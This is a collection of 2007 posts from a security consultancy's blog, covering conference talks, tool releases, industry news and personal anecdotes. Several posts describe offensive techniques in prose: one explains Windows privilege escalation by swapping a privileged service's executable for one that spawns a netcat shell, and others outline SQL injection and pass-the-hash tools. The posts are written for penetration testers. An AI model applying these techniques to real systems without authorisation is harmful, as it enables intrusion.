Alas.. i could have made squillions (aka – Amazon MTURK)

Wed, 12 Sep 2007 20:03:06 +0000

In early 2002 i suggested that we could solve some computer problems and south africas street-kid problem by setting up a network of street=kids with basic education to handle tasks computers still struggled with. At the time we were concerned with low-false positive, agentless remote detection of defaced web-sites, but also ran into the idea when we first built e-or, our early web application scanner. I suspect i didnt broach the subject with enough sensitivity (and in retrospect suggesting that remote controls for automatic gates could be replaced by 2 low cost street-kids (one as a spare)) might not have helped my cause..

Defcon talks – Videos available online..

Wed, 12 Sep 2007 12:55:38 +0000

A recent maillist thread shows that the DC15 videos are anow available online [here]

Our video (although my voice sounded alot better in my head than it does on video) is available [here]

Heheh.. Elite! snakes on a #$#%@# plane!

Mon, 10 Sep 2007 13:02:14 +0000

Courtesy of afx:

Awesome data visualization stuff…

Tue, 04 Sep 2007 08:37:12 +0000

Steven Murdoch over at lightbluetouchpaper did an investigation into the Privila internship program.. What was also cool however was that he threw together a quick visualization of the data

Moving graphs are always cool, and the fact that he got it together so quickly was impressive.. a quick check shows that he used the Prefuse toolkit which is a totally BSD lic. visualization toolkit that looks simple to use with some awesome examples..

Another attempt at you-tube science, aka how to save 36c when changing the batteries on your remote!

Sun, 02 Sep 2007 17:44:40 +0000

ok.. so a long time ago we tried the you-tube mentos stuff and happily wasted time (and coke) in the office parking lot.. (of course this was after half assed attempts to mimic the experiments imperfectly.. given the typical office makeup, this ensured that we tried it with various other softdrinks, various other sweets and at one point even tried microwaving the drink cause roelof thought “the cold was ruining it”.)

Medical Doctors.. bah! hambug..

Sun, 02 Sep 2007 09:28:53 +0000

I’ve ranted a few times about things i hate about the way we “do medicine”. (Doctors are not alone here.. i cant believe that in the age where we operate on the eye with lasers and see production ready nano-tech. we consider yanking teeth with a pair of pliers a reasonable option)

Recently i heard an interview with the head of MS Research where he spoke about some of the same things.. i.e. that 9/10 people are visiting the doctor for the same thing (that new strain of flu going around) and that we could help alot of things with a simple “if you have a fever, and a runny nose and red spots today, u have the latest X going around.. take 2 of X and get some rest”. This would handle the majority of the ppl walking in..

How Gentoo got hacked.. holy #@^%&!!

Thu, 30 Aug 2007 07:36:27 +0000

If a picture is worth a 1000 words, then i dont want to know what this reads…

SensePost, now a company of SecureData…

Mon, 27 Aug 2007 20:58:34 +0000

For those of you haven’t yet seen, the J.S.E listed SecureData bought 100% of the shares in SensePost late last week.. We have had many offers over the past few years and while the money was generally good, the fit was not.. We believe we found this fit with SecureData (formerly ERP.com) as an independent company within the SecureData stable.

The deal changes very little operationally for SensePost, with all management and directors staying exactly where we are.. We wont be moving offices (and i still wont be wearing a suit any time soon!). Our independence remains and we will remain product agnostic. (if anything it will now mean that we will get a bunch of kit to break from/for SecureData :> ) Our reports remain privileged information between us and our clients, and our advice like always will be whatever we believe is in the customers best interests.. Both SensePost and SecureData believe that this impartiality is important and we would not be going forward with the deal without this being agreed on in spirit and on paper..

Thunks from hacking games

Fri, 24 Aug 2007 11:08:41 +0000

In Vegas I bought Herman “Exploiting Online Games” by Greg Hoglund and Gary McGraw. Being the saint that I am, I looked at the book thoroughly on the plane on the way home. Fortunately I was able to verify that most of the pages were there and intact and that were no blatant spelling or grammatical errors – it wouldn’t do to give Herman a broken book.

Whilst I was checking the Herman’s gift *anyway* I figured it wouldn’t hurt to also read and absorb some of the content – just to make sure I wasn’t giving him nonsense (with all due respect to Greg and Gary). In particular what interested me was whether their thinking on online games held any lessons for the work we more traditionally do on online financial and e-commerce systems. I thought the book was fascinating, particularly in this context. What follows is a mind dump of some of the thoughts I had as I was reading.

It begs the question…

Fri, 24 Aug 2007 10:11:54 +0000

I cant recall who said it in yesterdays meeting, but my response is simple: http://begthequestion.info/

MTBF and Light Bulbs..

Thu, 23 Aug 2007 22:49:13 +0000

Some of you will know that i finally moved out of the shoe box i lived in for 6 years and moved into a house (about 3 months ago) Since then i have replaced 3 different light bulbs at different places in the house.. Now this made me start thinking.. Surely when the house was new, they fitted in all the bulbs as brand new.. Now some sections of the house light a series of 4 or 6 bulbs at once.. yet there appears to be no link at all between “sibling” bulbs and their life-span..

BMC Video on DTrace..

Thu, 23 Aug 2007 06:57:05 +0000

BMC did his 90 minute engedu talk on DTrace at google to show some of its coolness (and from the looks of things to help get a Linux port going). DTrace looks awesome for system instrumentation (like strace on steroids)(although limiting it like that does it no justice at all). From the DTrace Page: “DTrace is a comprehensive dynamic tracing framework for the Solaris Operating Environment. DTrace provides a powerful infrastructure to permit administrators, developers, and service personnel to concisely answer arbitrary questions about the behavior of the operating system and user programs.”
Its the #1 thing that has me all excited about leopard (shipping with dtrace by default) and i genuinely cant wait (maybe now ill spend the extra minutes finding out how growlNotify manages to occasionally hose my box ;> )

Ok.. Now this is pretty cool…

Wed, 22 Aug 2007 11:35:05 +0000

For all those guys who usually scoff at CSI / Police Movies where the detective shouts “enhance image” or remove that person, you have to admit that life dos indeed imitate art..

(Click image or here)

Pretty neat…

2 Un-related thoughts.. on Echelon and the recent Skype Outage..

Mon, 20 Aug 2007 19:35:01 +0000

I suspect somewhere there exist cardinal rules of blogging which would state that using a single post to make 2 completely un-related posts is a no-no.. I will now promptly ignore it 2 push out 2 random thoughts that came up..

Echelon and Echelon spam..

While watching the Bourne Ultimatum the other night the usual “echelon“esque scene played out.. Guy on phone says keyword.. pan to NSA/CIA type building.. computer drone type person screams something like “we have a hot one”..

Core Release Pass the Hash Toolkit..

Thu, 16 Aug 2007 10:10:09 +0000

Hernan Ochoa from Core has released the Pass the Hash Toolkit which is very cool.. It basically means that you dont have to bother cracking a password on a taken machine anymore, you can simply use his iam.exe to associate the captured hash with your current session.. Its accompanying whoisthere.exe means you can grab hashes easily and the fact that its all released with source means you should be able to use it on a customer network without a sinking feeling in your stomach :>

We’re hiring

Wed, 15 Aug 2007 20:32:07 +0000

SensePost is an exciting & dynamic young company with strong values &
a world vision. We specialize in high-end technical security services
& we’re looking for exceptional people to help grow our world-class
team. If you’d like to be part of a relaxed, inspired team where your
work is valued & appreciation for your work is visibly demonstrated,
where opportunities to learn abound & innovation is encouraged, then
why not join us at SensePost?

On hamsters, Escaping, Escaping of Hamsters and the Lack of escaping in Hamster…

Wed, 15 Aug 2007 07:42:33 +0000

OK.. So as i mentioned before, I saw Robert Graham from Erratasec demo hamster live on stage and wondered if hamster was doing useful input/output sanitization.. If it wasn’t, he was setting himself up for a pop-up that read “owned on stage” or worse a re-direct to tubgirl.. He didnt get owned on stage, which suggested that either the crowd was really well behaved or the tool was doing some tidying up so i decided to wait till i got home to check..

mh.blackhatFeedback(Side-jacking, Hamster)

Tue, 14 Aug 2007 16:56:38 +0000

Ok.. so its a lot later than i promised, but i did mention that i would post some feedback on some of the talks i ended up catching at this years BlackHat. By far the talk that grabbed the most press was the Erratasec talk on Side-Jacking.

Essentially the researchers demonstrated a tool (hamster) that allows an attacker on a shared network (wifi was used as an example, but i guess any shared medium would suffice) to hi-jack users accounts by sniffing their session-ids.

On hacking and politics

Sat, 11 Aug 2007 21:10:48 +0000

I meant to blog this whilst I was still in Vegas, but only got around
to it now. Its arb, but worth a bit of thinking… Kenneth Geers’
talk titled ‘Greetz from Room 101’ was on which countries have the
Top Ten most Orwellian computer networks. In his precis he asks
“Could a cyber attack lead to a real-life government overthrow?”

I find these kinds of discussions really interesting, because of the
significant role that information technology plays in today’s wars on
crime and ‘terror’. In such “wars” the lines between right and wrong
are very loosely defined. As we saw clearly in South Africa today’s
terrorist is tomorrow’s freedom fighter. Thus, a technology that
could be used fight terror today, could just as easily be used to
oppress freedom tomorrow. Technology will serve any master.

F(inally)ull Release of BlackHat-Defcon Timing Stuff..

Fri, 10 Aug 2007 10:22:59 +0000

The slides | tool | paper from BlackHat07/DefCon07 have been posted online for your wget’ing pleasure.

More details on squeeza (the tool) can be found on the squeeza page, but in a nutshell is a sql injection tool that uses Metasploits concept of splitting exploit/payloads/etc with SQL Injection attacks. Current modules are written for MS-SQL server but include functionality for (user defined sql queries, some db schema enumeration, command execution, file-transfer, db_info) and the information is returned (channel selection) via one of (application error messages, DNS, Timing). The modularity’ness means that these all mix and match – I.e. if you write a module to “extract data from all tables that look like username*”, the results would be available on any of the available channels.. (Its a pretty neat tool.. and saved our bacon more than once) So check it out, and send feedback to research@sensepost.com

Another blow for privacy? A small price for your 15 minutes of fame..

Wed, 08 Aug 2007 20:18:09 +0000

Spock have just opened up beyond their private beta and promise to be the most comprehensive people search tool on the interwebs.. Their model is interesting because they aim to combine wikipedia style editing with a single focus.. people..

Roelof and i had long discussions in the past, around someway to get people to update information on people while growing the db and still having people contribute.. Interestingly, spocks simple sounding approach might be perfect.. in a day when everybody vanity googles themselves, and when the facebook/myspace/twitter generation have 0 qualms about informing the world what they are doing 24/7, the simplest way to populate a db with information about people, might just be to let them fill the info in themselves..

BlackHat Roundup – Ajax and h.323 and iax

Tue, 07 Aug 2007 09:43:36 +0000

The bulk of security research pertaining to VoIP call control, setup and signaling protocols has focused on the Session Initiation Protocol (SIP), due to the ubiquity and widespread adoption of this protocol. However, a number of other protocols and protocol suites are in use in many organizations and have been adopted by many of the VoIP vendors. Some examples of these protocols are Cisco’s Skinny Client Control Protocol (SCCP or Skinny), the H.323 suite of protocols, and Asterisk’s Inter-Asterisk eXchange (IAX).

Squeeza: The SQL Injection Future?

Fri, 03 Aug 2007 07:36:17 +0000

During our talk we demo’d squeeza.. We will link to the slides and .ppt as soon as we can, but have been getting a few requests already for the code, so here it is..

For those who missed the talk, squeeza is a SQL Injection tool, that once given an entry point can simply a bunch of things. Its the first tool i know of that facilitates full binary file transfers (download from the remote SQL Server), database enumeration, etc via a number of channels (Currently via DNS, via HTTP Error messages and Via Timing).

Late BlackHat Update..

Fri, 03 Aug 2007 07:22:47 +0000

ok.. so im in my room finally catching up on sleep (or will be in a few minutes) while most people are finishing Microsofts booze at the PURE microsoft party.. BlackHat is over, which means tomorrow we are off to the riviera for defcon..

Marco and i got a lot of positive feedback from our talk, including from guys like rob auger of wasc fame and andrew bortz who we quote in our paper, so it was pretty cool.. all our demos went of smoothly (where one of them was using javascript (and timing) to create a distributed brute-forcing tool, which had every opportunity to go south) so we were happy..

BlackHat Progress Report

Mon, 30 Jul 2007 20:21:26 +0000

(always wanted to say that!)

2 SensePost Training sessions are over, and as i type The weekday sessions are at about 50%. Feedback so far has been pretty cool and its been fun to meet new people / bump into some old friends..

The next “biggie” on the horizon is Wednesdays talk.. We have had a fair bit of interest so far and even though the slot has some stiff competition its seems like all will be well :). The talk should be interesting to developers, pen-testers and even just people with a vague interest in see’ing cool stuff.. Marco has been adding functionality to “squeeza” like a demon and as it stands its probably the only SQL Injection tool i know that will allow (file downloads, arb sql queries, database mining) all purely in T-Sql over a variety of transport channels (dns, error messages, timing). We will post the link to it for download just before we talk..

BlackHat, DefCon, Las Vegas

Fri, 27 Jul 2007 22:40:05 +0000

Ok.. so the 2nd plane with SensePost’ers has touched down in LasVegas and the first cheeze-pizza from the caesars food court has been consumed.. So little changes in caesars that it always adds to the surreal feeling that lasts for the entire stay..

We will be in the training rooms over the weekend, and during the week, and will then give our bh-talk, before moving to defcon for the talk there..

in between, as usual its a chance to meet old friends, make new ones and get sun-burnt! Grab us if you see us, and we can grab coffee/beer/chocolate-milk..

QoW 1 answered; Qow 2 released

Tue, 24 Jul 2007 13:30:53 +0000

A little while back we published our first public QoW for your abuse and enjoyment, and the time to close it is ………. now. The new QoW is available here.
Thanks for the efforts; we received a fair number of answers and are still figuring out how to go about recording your submissions. For now, we’ll publish the first correct answer, and discuss the answer in brief. Over to Haroon:

Jeremiah Grossman was the first correct answer, with valiant attempts from many others.. Acceptable solutions involved either the use of JavaScript / HTML comments to allow our injection to span multiple lines (or really really small urls :>)

-sigh- little things, little minds…

Sun, 22 Jul 2007 18:07:50 +0000

Deels stumbled on www.simpsonizeme.com to give me mh, the springfield edition..

Combine with your intranet mug-shots, and it could give you hours of lost productivity..

Google Cookies.. Finally a saner expiry date…

Mon, 16 Jul 2007 23:27:56 +0000

Google have finally revised their cookie expiration policy, which will have user cookies expiring after 2 years. (For those of you who think this is too long, it needs to be kept in mind that this used to be set to expire in 2038!).

Of course, the tin-foil hat wearers amongst us are going to find it difficult to convince the “keep-your-stinkin-privacy-i-want-my-15-minutes” facebook generation that privacy actually matters, but we can probably chalk this, and their earlier anouncement to sanitize search server logs after 18 months as a tiny victory..

Adam Shostack on Biometrics..

Mon, 16 Jul 2007 23:10:24 +0000

hmmm… i have heard this somewhere before….

” However, in cases where your finger is used to identify or authenticate you, it’s much harder to change your password. ”

/mh

VMWare Fusion, i love you not, i love you…

Thu, 12 Jul 2007 07:38:31 +0000

ok.. some of you in the office would have heard me whine when vmware fusion recently started taking my whole machine down occasionally. The joy of it being the whole machine is that ive lost my firefox profile, and managed to turf my osx preferences twice since this started happening..

Through meticulous checking i tracked down that the problem started “the day i blogged about how much i love vmware fusion”. i spent a lot of time wondering if i rm’d the post if it would fix the problem…

Have a (one) care sir….

Wed, 11 Jul 2007 00:10:15 +0000

Someone in the office was discussing Microsoft’s recent horrible foray into the anti-virus market. Apparently an online source held one-care as faring worse than a simple man with a perl script. A quick scan shows that they have indeed faired pretty poorly in independent tests:

“(BBC News) OneCare was the only failure among 17 anti-virus programs tested by the AV Comparatives organisation.”

Now the obvious question was: How could Microsoft possibly get it so wrong? (Cue the drum roll, bring out your tin foil hats)

Probably the best book dedication i have ever seen….

Sat, 07 Jul 2007 18:39:28 +0000

Richard Bejtlich didnt give the pre-release a glowing review but i know at least a few people waiting eagerly to get their hands on the new “Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, and Pedram Amini“. Pedram is the mastermind behind Pai-Mei and started OpenRCE, but his last blog post points to the books dedication page, and it probably makes the book worth buying all on its own..

outstanding…

In Defense of Testing Pens… (aka how to keep your soul while being a pen-tester)

Wed, 04 Jul 2007 08:28:26 +0000

A short while back, a discussion broke out on a mailing list about the nature of being a pen-tester. The discussion quickly gravitated towards the number of “security” companies where numbers of projects far out-weigh the interestingness of projects, leading rapidly to a cookie-cutter mentality to pen-test engagements..

Of course if you have spent any time in the industry, you already know this to be true.. the obvious danger with this is that you have a lot of unhappy pen-testers giving shoddy output to (eventually) very unhappy customers. Sadly this soon follows the well published “market for lemons” problem where eventually due to information asymmetry, bad products will soon push out good ones.. i.e. because its hard for customers to tell the difference between good pen-tests and lame pen-tests, eventually the market price drops towards low grade pen-tests (since the customer is paying for what they expect) and at the low prices, good pen-test teams will close shop and move on to other lines of work..

SensePost Training at Black Hat Las Vegas

Tue, 03 Jul 2007 10:28:46 +0000

The Black Hat Briefings is arguably the most significant technical
security conference in the world. It takes every year in Las Vegas
and also includes a series of diverse technical training courses. For
the sixth time this year SensePost will be presenting a series of
courses from our ‘Hacking By Numbers’ range at the briefings. There
are a number of courses catered for most levels of technical
experience, starting with ‘Cadet Edition’ for novices and ending with
‘Combat’ for expert level hackers.

On vulnerability, root cause, white-listing and compliance

Sun, 01 Jul 2007 23:29:46 +0000

Many years ago, when we first released ‘Setiri’ one of the controls
that we preached was website white-listing. As talk-back trojans
would connect back to arbitrary web servers on the Internet, we
argued that companies should create shortlists of the sites employees
are allowed to visit. This, we argued, was much more feasible than
trying to identify and block known ‘bad’ sites. Of course, there are
a number of other compelling reasons for implementing this kind of
white-listing, and of course nobody does it (even though I’ve seen
fairly good technical implementations of this concept).

and then there was one….

Tue, 19 Jun 2007 20:01:44 +0000

First IBM announced their interest in Watchfire, and now HP announces their interest in SPI Dynamics. “Consolidation in the industry” is one of those horrible phrases that are always bandied about because it makes people seem analytical and fore-casty, but i think its pretty clear that there are stirrings in buyout land right now.. I guess it bodes well for WhiteHatSec and similar folks.. they surely have to be on the radar..

Talking of buyouts, its always been strange for me that CORE have managed to go by as long as they have without being purchased. Their technical roots being in Argentina might have explained it for a little while, but a whole bunch of years later.. i dont get it.. (Having said that, i must add the caveat that i am talking completely through my ear since im pretty sure they would have been approached often enough and could simply have been rejecting offers waiting for the right match..)

Shuttleworth comments on Microsoft/Ubuntu deal rumours

Sat, 16 Jun 2007 21:15:43 +0000

Mark Shuttleworth on his blog makes it clear

-snip-

“We have declined to discuss any agreement with Microsoft under the threat of unspecified patent infringements.”

…

I have no objections to working with Microsoft in ways that further the cause of free software, and I donâ€t rule out any collaboration with them, in the event that they adopt a position of constructive engagement with the free software community.

…

All the deals announced so far strike me as â€œtrinkets in exchange for air kissesâ€. Mua mua. No thanks.
-snip-

Viva Las Vegas!

Wed, 13 Jun 2007 20:28:23 +0000

BlackHat Vegas is almost on us again, and this will be the 6th year running that we present there.. This year Marco and i will be taking a new look at some old attacks.. The bulk of the talk will focus (like its name suggests) on timing attacks, but we will be looking in general at timing, race conditions and other attacks that have not yet been packaged into tools and so are not yet prone to the type of over-fishing we have found with fuzzable bugs..

CSI Corporate Threat Modeling Talk

Tue, 12 Jun 2007 22:30:41 +0000

Whew. After much last-minute war with PPT C# and ORM our slides and
Beta 1.0 of our tool are available on our research site. I think the slides are pretty neat,
and I’m *very* excited about the tool, but unfortunately we didn’t
get as far with the latter as we’d hoped to. Still, it illustrates
the concept pretty nicely and its built pretty solid (thanks James)
so it should grow quickly from here.

Safari on Win32, and browser choices in general..

Tue, 12 Jun 2007 09:34:11 +0000

Gareth linked to David Maynor’s blog where he documents the results of some simple fuzzing against the new Win32 port of Safari. Of course fanboys everywhere are going to be on this one like, erm.. like a thing that is very onto another thing.. but.. i digress..

2 things are interesting in all this for me though..

Why Apple chose now to do the win32 safari release
Why anyone in security uses Safari anyway?

Most people postulate that the Win32 Safari release is tied to the release of the iPhone. Since 3rd party developers cant build for the iPhone yet, it would seem that web-apps running on iPhone Safari would be the way to go for now.. if you are pushing the browser they need better adoption.. its a reasonable enough theory and i cant imagine its because apple actually want to launch a serious attack against IE/Mozilla on non Apple desktops

More Pentagon data leakage through Office files..

Sun, 10 Jun 2007 17:37:55 +0000

R J Hillhouse (who has a fascinating background) found that when she double clicked a graph on a slide deck belonging to the office of national intelligence (available from the DIA website), the linked spreadsheet popped up..

This effectively revealed “the dollar amounts in tens of millions spent by the US Intelligence Community on contractors”.

Aages ago lcamtuf highlighted info leakage through MS Office files, and it seems these days lots of folks are making lots of money selling blackbox, i will prevent data leakage in your organization type kit.. i haven’t looked in depth at too many of them but have to wonder how many of them would have caught the embedded spreadsheet at all..

Threat Modelling Talk at CSI Phoenix

Sat, 09 Jun 2007 19:46:31 +0000

After a six hour delay due to technical problems *before* my journey
even started I’m finally on the plane and waiting for take off. Tag
an additional five hour delay due to a missed connection in New York
and this quickly become a very, very long trip. Perhaps my longest
ever. Ah well, the price we pay for living at the end of the world, I
guess.

VMware for OSX (Fusion) – Beta 4

Sat, 09 Jun 2007 00:08:11 +0000

VMware have just released beta4 of its Fusion product for OSX.

The initial beta was hard to justify and a little flaky, which allowed Parallels to take an early lead. We still have people in the office who swear by parallels.. But.. in my book VMware has just been such a life saver since we first started making heavy use of it (about 6 years ago) that i figured it was worth sticking it out..

Right escalation via services or scheduled tasks in Windows

Wed, 06 Jun 2007 09:16:21 +0000

Scheduled tasks and services are often run as accounts with excessive privileges (HP Insight, backups etc) instead of limited service accounts. By exploring the tasks under c:\windows\tasks or the services by managing the computer, you can quickly see possible options to escalate your rights. By replacing at the actual exe that the service or task runs with a exe of your own, you can spawn a netcat shell. I use a batch file to exe converter and use the batchfile to call nc.exe with the correct parameters. *You can not alter the service or task itself in anyway else you loose the stored credentials. ~~Attached are some screenshots that should illustrate this.~~

Hotel Hacking

Tue, 05 Jun 2007 17:41:37 +0000

Check out http://hongkong.langhamplacehotels.com/accom/technology.htm in Hong Kong. They provide Cisco IP phones in the rooms, but with a difference. According to an article I read in TIME the hotel will collect your most frequently dialled numbers and load them onto the touchscreen phone when you return for your next visit. Not only that, they also program the phone to show stock quotes or news and weather from your home town, AND if you forward them snapshots of your loved ones they’ll pre-load those onto the phone’s interface also.

Re: Jeremiah Grossmans “How to find your websites”

Tue, 05 Jun 2007 09:05:39 +0000

Jeremiah from WhiteHatSec has just written a quick piece on how to find your websites. Now Footprinting is obviously dear to our hearts, with 3 Blackhat talks on it (or applications of it) (“Automation – Deus ex Machina or Rube Goldberg Machine?“, “Putting The Tea Back Into CyberTerrorism“, “The Role of Non Obvious Relationships in the Foot Printing Process“), a commercial tool almost dedicated to it, and a full blown chapter on it in Open Source Penetration Testing by charl and gareth. Footprinting is a genuinely important part of a companies security assessment, cause it doesn’t matter if they have multi-layer firewalls and WAF’s protecting the web app on their www.company.com, and an old barely used sql-injectable form on their community.company.com site that lets you grab SA on their SQL server anyway..
(Now that the shameless self promotion is over..) i wanted to touch on an interesting aspect of webserver discovery that is often skipped, and thats the issue of multiple websites running as name based virtual hosts on the same web-server. There was a time (not so long ago) when all of the popular scanning tools, failed to take into account that scanning 209.61.188.39 was not the same as scanning www.sensepost.com (or hackrack.sensepost.com which happens to be on the same ip address).

Second Life land grab case moves into U.S federal courts..

Mon, 04 Jun 2007 09:19:38 +0000

Ars Technica is reporting on the law suit filed in 2006 by Martin Bragg who accused Linden labs of wrongfully seizing his virtual land.

-snip-

Linden Lab filed two motions to dismiss the suit, arguing that Bragg came into possession of his land wrongfully, but the Pennsylvania judge denied those motions.

-snip-

A few things about this are super interesting..

Linden Labs (creators of Second Life) literally sells online assets for real world money..
Martin Bragg (from accounts read) found that by simply adjusting his HTTP GET parameters was able to bid on not yet opened auctions.(1)
Bragg apparently invested thousands planning to buy low and sell high

We have just started to consider the attack possibilities and where this is going but again, i suspect fun times are ahead (2)..

Web Mashups point and click style (open invite for Sammy v2.0) ?

Sun, 03 Jun 2007 14:53:48 +0000

[Yahoo pipes] looks like an awesome way for even non-programmers to create web mashups trivially. Aside from the fact that its interface is super-cool, it brings an interesting dimension to next gen web attacks. (Google Video on Pipes by Pipes developers).

pdp has already covered pipes in his OWASP talk where he used it to re-write a jikto equiv. in almost-0 lines of code, along with a tinyurl filesystem. pdp also mentions Dapper, which i have not checked out till now, but looks like fun waiting to happen too..
In all the services look leet, and look like a cool way to get “unification” going for browser attacks*. Check them out, the possibilities for evil’ness should start running through your head from click 1.

Windows filesharing on OSX still vulnerable…

Sat, 02 Jun 2007 18:42:35 +0000

Aaron Adams over at SYMANTEC, did a quick check on the version of Samba running on currently up to date OSX machines and found that the Macs were still running 3.0.10. He did a quick mod on the existing Metasploit module and has reliable code execution going..

If you are running OSX, you probably want to make sure your samba isnt exposed while you grab the latest source and build..

/mh

Welcome to extern blog SensePost;

Fri, 01 Jun 2007 05:51:34 +0000

Ok.. so after many moons of making excuses for not making our internal blog public we have decided on a happy compromise.. Some of the “work-safe” posts from internal, will make its way out here.. {we have a ton of posts on internal, and promise to publish them if they are ever referenced by new posts here to stop the foncusion}

Other than that.. Welcome, thanks for taking the time to read us..

Adventures while moving… (Part II)

Wed, 30 May 2007 22:55:31 +0000

Ok.. so we have an outside gate type thing that leads to our garden. Since we would probably get to the gate at random points of the day / week we figured a combination lock would make sense. Now i know that combination locks traditionally have a pretty small keyspace, and have a horrible reputation so i asked Deels to make sure she got one with at least 4 digits, and had a good name behind it..

Do you group your passwords?

Wed, 30 May 2007 22:41:38 +0000

This has probably been pondered, but something occurred to me whilst entering my new home.. The guard house grants access based on your fingerprint. The system works pretty sweetly..

Now.. because i have about a zillion accounts, i kinda group my passwords.. since i know services admins on most irc networks read your password, i use XXX for low level access (this might include try once trial software logins).

Slightly more reliable software logins (vmware page / ms partner page) i will use YYY.. i think most people do this..